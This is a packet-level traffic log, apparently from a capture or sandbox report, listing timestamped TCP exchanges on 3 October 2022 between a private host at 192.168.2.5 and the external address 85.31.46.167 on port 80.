Oct 3, 2022 17:30:01.128591061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128598928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128619909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128632069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128632069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128643036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128664017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128669024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128669024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128686905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128688097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128709078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128729105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128730059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128750086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128771067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128772020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128793001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128793001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128814936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128835917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128844976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128858089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128858089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128880024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128880024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128902912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128916979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128916979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128925085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128947020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128954887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128954887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128968954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128968954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128989935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128992081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129014969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129014969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129031897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129045010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129059076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129080057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129080057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129105091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129106045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129127979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129149914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129154921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129154921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129173040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129194021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129198074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129198074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129216909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129237890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129237890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129261017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129281998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129281998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129306078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129306078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129328966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129348993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129349947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129371881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129373074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129395008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129395962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129419088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129440069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129442930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129462004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129482985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129483938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129508972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129529953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129537106 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129537106 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129551888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129574060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129579067 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129579067 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129596949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129596949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129621029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129621983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129643917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129643917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129667044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129667997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129689932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129692078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129714012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129734993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129735947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129756927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129779100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129779100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129801035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129801035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129822969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129825115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129848003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129848003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129872084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129873037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129895926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129897118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129921913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129944086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129945993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.129967928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129988909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.129992962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.130012035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.130012035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.130033970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.130079031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.130079031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.151817083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.151849031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.151880980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.151911020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.152023077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.152023077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.153536081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153575897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153598070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153686047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153714895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.153714895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.153729916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153755903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.153764963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153933048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.153959990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157041073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157075882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157191992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157191992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157660007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157691956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157712936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157732964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157742977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157742977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157757044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157778978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157778978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157782078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157804966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157825947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157828093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157849073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157871008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157888889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157888889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157888889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157917976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157938957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157942057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.157959938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157980919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.157982111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158004045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158004045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158026934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158047915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158052921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158070087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158091068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158092022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158113003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158113956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158130884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158133984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158149004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158169985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158190012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158198118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158198118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158211946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158231020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158237934 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158256054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158276081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158276081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158298016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158298969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158320904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158341885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158359051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158358097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158358097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158377886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158385038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158401966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158425093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158426046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158446074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158452988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158469915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158472061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158493042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158514023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158521891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158521891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158535957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158552885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158552885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158552885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158580065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158598900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158617973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158617973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158623934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158646107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158654928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158654928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158668995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158689976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158693075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158693075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158713102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158713102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158735991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158737898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158760071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158768892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158782959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158803940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158804893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158823013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158826113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158848047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158850908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158869982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158907890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158907890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158934116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158934116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158952951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158953905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.158977985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.158998966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159001112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159020901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159039021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159045935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159063101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159084082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159085989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159106016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159106970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159128904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159130096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159153938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159158945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159176111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159197092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159198046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159216881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159218073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159240961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159245014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159261942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159261942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159285069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159305096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159312010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159327030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159327984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159349918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159358978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159372091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159389973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159392118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159392118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159415007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159432888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159442902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159456968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159478903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159480095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159499884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159519911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159527063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159542084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159542084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159564972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159569979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159586906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159604073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159604073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159605980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159629107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159647942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159658909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159672022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159686089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159693003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159714937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159735918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159738064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159756899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159758091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159779072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159780025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.159823895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.159823895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.179138899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.179187059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.179364920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.180598021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.180623055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.180655956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.180682898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.180711031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.180716991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.180738926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.180763960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.180763960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.180802107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.184165955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.184195042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.184222937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.184256077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.184355974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.184806108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.186872959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.186935902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.186973095 CEST	80	49694	85.31.46.167	192.168.2.5
